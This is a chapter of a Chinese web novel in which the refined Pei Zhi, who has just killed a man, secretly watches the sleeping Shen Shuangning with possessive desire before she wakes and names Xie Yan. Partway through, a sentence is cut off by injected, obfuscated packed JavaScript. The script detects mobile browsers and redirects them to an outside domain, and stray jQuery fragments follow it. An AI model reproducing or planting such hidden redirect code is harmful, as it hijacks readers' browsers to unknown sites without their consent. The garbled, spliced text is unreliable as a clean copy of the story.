第118章 恨明月高悬,独不照我(第2页)
她喜欢当季的桃花酥、桂花糕。桃花酥要酥皮层层起叠,里头的馅料得掺着新鲜桃花瓣,甜而不腻;桂花糕则要蒸得软糯,淋上的蜜浆不能太稠,要带着新采桂花的清冽香。
就连她吃点心时爱配一小碟腌渍的青梅,他都记得分明,酸中带甜,正好解了糕点的腻。
裴执望着那扇亮着灯的窗,袖中刚用烈酒擦洗过的手指微微蜷缩,方才沾过的血腥气似已被夜风卷走。
刘婶还以为等不到裴执了,没料到他这么晚还赶过来,暗道这楼上的沈四姑娘,还真不一般。
“公子请进。”刘婶刻意压低了嗓音。
裴执瞥她一眼,道:“她睡着了?”
刘婶暗暗心惊,裴公子还真是料事如神。
“兴许是等得有些无聊了,就不小心睡过去了。”刘婶轻声道,伸手接过了裴执递来的披风。
裴执示意刘婶和仆从不必跟来,便径自上了楼。
这么晚了,连阿蘅都犯困了,脑袋一点一点的。
但她很警觉,人还未靠近,她立时就清醒了。
一看是裴公子,阿蘅松了口气,摸了摸莫名发寒的脖颈,许是夜里的风顺着窗缝钻了进来。
阿蘅正了正神色,起身屈膝对裴执行礼,正要开口,就被裴执抬手轻轻打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972928|177087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
断了。
“你先退下吧。”裴执轻声道。
目光却一瞬不瞬地落在不远处伏在案几上的女子身上,眼底的情绪在昏暗中看不真切。
在阿蘅眼里,裴公子是个难得的好人,不仅生得俊朗温润,待小姐更是周到细心。
如今小侯爷跟小姐的亲事黄了,阿蘅倒是私心觉得,裴公子可以当小姐的姑爷。
阿蘅恭顺地退了下去,顺便带上了雅间的门,自己就在外面守着。
雅间里再无旁人,裴执抬脚朝沈霜宁缓缓走了过去。
只见女子伏在桌上,脑袋枕着自己的胳膊,俏生生的小脸朝着窗外,柔柔的一弯细眉下,睫毛如蝶翼般静静低垂,一点月色铺在她面颊上,依稀可见那颊边还有点细微的伤痕。
但瑕不掩瑜,依旧美得如画中仙。
她身上搭着一层薄薄的毛毯,许是刘婶怕她着凉,悄悄为她盖上的。
只是睡姿辗转间,毛毯已滑落了大半,堪堪拢在肩头,露出一节纤细白皙的脖颈,如一块上好的羊脂玉。
隐隐缀着一颗鲜艳的红,格外显眼。
裴执长身立在阴影处,目光落在那颗红痔上,静立良久,才缓缓俯下身。
他的动作极轻,似蛰伏在黑暗中的蛇,悄然接近被他盯上的猎物。
待离得近了,怕惊扰她,便拢起宽大的袖子,慢慢伸出一只手。
停在她面颊上寸许的地方,未曾落下,只将那片温柔的月色稍稍遮去。
在她恬静的脸上投下一小片,属于他的阴影。
裴执微微弯唇,仿佛这样就满足了。
可那一双清润的双眸里,分明闪烁着连他自己都未曾察觉的、近乎贪婪的占有欲。
恨明月高悬,独不照我。
沈霜宁囫囵做了个怪梦,梦里有蛇,还有个面部烧伤的男人。
男人躺在草丛里,快**,她救了他。
可转眼,他竟要杀了她!
于是沈霜宁惊醒了。
一时忘了自己身处何处。
抬起头时,却见眼前不知何时坐着个大活人,还一身白衣,活像那白无常,委实吓了一跳。
“宁姑娘醒了。”
直到听见着温润熟悉的嗓音,沈霜宁那狂跳地心才渐渐止住了,抬手揉了揉脸,道:“裴公子何时到的,怎么没叫醒我?”
方才睡得久了,脸上压出了几道浅浅的红痕。
裴执给她倒了杯热茶,温声道:“也是刚来,看你睡得正香,没舍得打扰。”
他依旧是那副清正温润的模样,眉宇间带着惯常的平和,衣袂整洁,指尖干净,不染尘埃似九天谪仙。
全然看不出,他半个时辰前曾亲手了结了一条人命,指缝间还滚过旁人的鲜血。
“处理了一些事情,耽搁得久了些,让你久等了。”他道。
听他这般说,沈霜宁反倒有些过意不去,裴执这么忙,若不是为了自己的事,此刻他本该歇息了才是。
“裴公子言重了,是我半夜叨扰,反倒让公子为我奔波,我该抱歉才对。”
裴执笑了笑,没说什么,把茶水推到她面前后,才准备给自己倒茶,开口道:“宁姑娘是有什么急事么?但说无妨。”
沈霜宁将方才的怪梦驱逐出脑海,正了正神色,直勾勾看着裴执,嘴里吐出两个字:“谢延。”